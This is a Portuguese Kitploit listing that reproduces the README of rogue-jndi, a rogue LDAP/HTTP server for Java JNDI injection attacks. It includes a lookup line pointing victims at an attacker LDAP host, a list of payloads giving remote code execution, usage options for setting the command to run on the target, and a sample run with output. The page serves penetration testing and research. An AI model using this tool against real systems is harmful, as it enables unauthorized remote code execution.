Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
rogue-jndi — Um servidor LDAP malicioso para ataques de injeção JNDI | Kitploit
Ferramentas/GitHubGitHub/veracode-research/rogue-jndi
ExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubveracode-research/rogue-jndi

rogue-jndi

Um servidor LDAP malicioso para ataques de injeção JNDI

Ver Repositório
1.1k2273há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Rogue JNDI

Um servidor LDAP malicioso para ataques de injeção JNDI.

Descrição

O projeto contém servidores LDAP & HTTP para explorar a API JNDI do Java, que é insegura por padrão.
Para realizar um ataque, você pode iniciar esses servidores localmente e então acionar uma resolução JNDI no cliente vulnerável, por exemplo:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Isso iniciará uma conexão do cliente vulnerável para o servidor LDAP local. Então, o servidor local responde com uma entrada maliciosa contendo um dos payloads, que pode ser útil para alcançar uma Execução Remota de Código.

Motivação

Além dos métodos de ataque JNDI conhecidos (via carregamento remoto de classes em referências), esta ferramenta traz novos vetores de ataque aproveitando o poder das ObjectFactories.

Payloads suportados

  • RemoteReference.java - ataque JNDI clássico, leva a RCE via carregamento remoto de classes, funciona até jdk8u191
  • Tomcat.java - leva a RCE via reflexão insegura em
org.apache.naming.factory.BeanFactory
  • Groovy.java - leva a RCE via reflexão insegura em org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - leva a XXE fora de banda (OOB XXE) em com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - leva a RCE via manipulação de classpath em com.ibm.ws.client.applicationclient.ClientJ2CCFFactory
  • Uso

    root@kitploit:~
    $ java -jar target/RogueJndi-1.0.jar -h
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Usage: java -jar target/RogueJndi-1.0.jar [options]
      Options:
        -c, --command  Command to execute on the target server (default: 
                       /Applications/Calculator.app/Contents/MacOS/Calculator) 
        -n, --hostname Local HTTP server hostname (required for remote 
                       classloading and websphere payloads) (default: 
                       192.168.1.10) 
        -l, --ldapPort Ldap bind port (default: 1389)
        -p, --httpPort Http bind port (default: 8000)
        --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                       (default: /list.wsdl)
        --localjar     [websphere2 payload option] Local jar file to load (this 
                       file should be located on the remote server) (default: 
                       ../../../../../tmp/jar_cache7808167489549525095.tmp) 
        -h, --help     Show this help
    

    Os parâmetros mais importantes são o hostname do servidor LDAP (-n, deve ser acessível a partir do alvo) e o comando que você deseja executar no servidor alvo (-c).

    Como alternativa à opção "-c", você pode modificar o arquivo ExportObject.java colocando o código Java que deseja executar no servidor alvo.

    Exemplo:

    root@kitploit:~
    $ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
    +-+-+-+-+-+-+-+-+-+
    |R|o|g|u|e|J|n|d|i|
    +-+-+-+-+-+-+-+-+-+
    Starting HTTP server on 0.0.0.0:8000
    Starting LDAP server on 0.0.0.0:1389
    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
    

    Compilação

    Java v1.7+ e Maven v3+ são necessários

    root@kitploit:~
    mvn package
    

    Aviso legal

    Este software é fornecido exclusivamente para fins educacionais e/ou para testar sistemas nos quais o usuário tem permissão prévia para atacar.

    Agradecimentos especiais

    • Alvaro Muñoz e Oleksandr Mirosh pelo excelente whitepaper sobre ataques JNDI
    • @zerothoughts pelo inspirador repositório spring-jndi
    • Moritz Bechler pela eminente pesquisa marshallsec
    • Orange Tsai e Welk1n pelo gadget Apache + Groovy

    Links

    • Um artigo sobre Explorando Injeções JNDI em Java no Blog da Veracode
    • Como Eu Hackeei o Facebook Novamente! RCE Não Autenticada no MobileIron MDM

    Autores

    Michael Stepankin

    Baixar ferramenta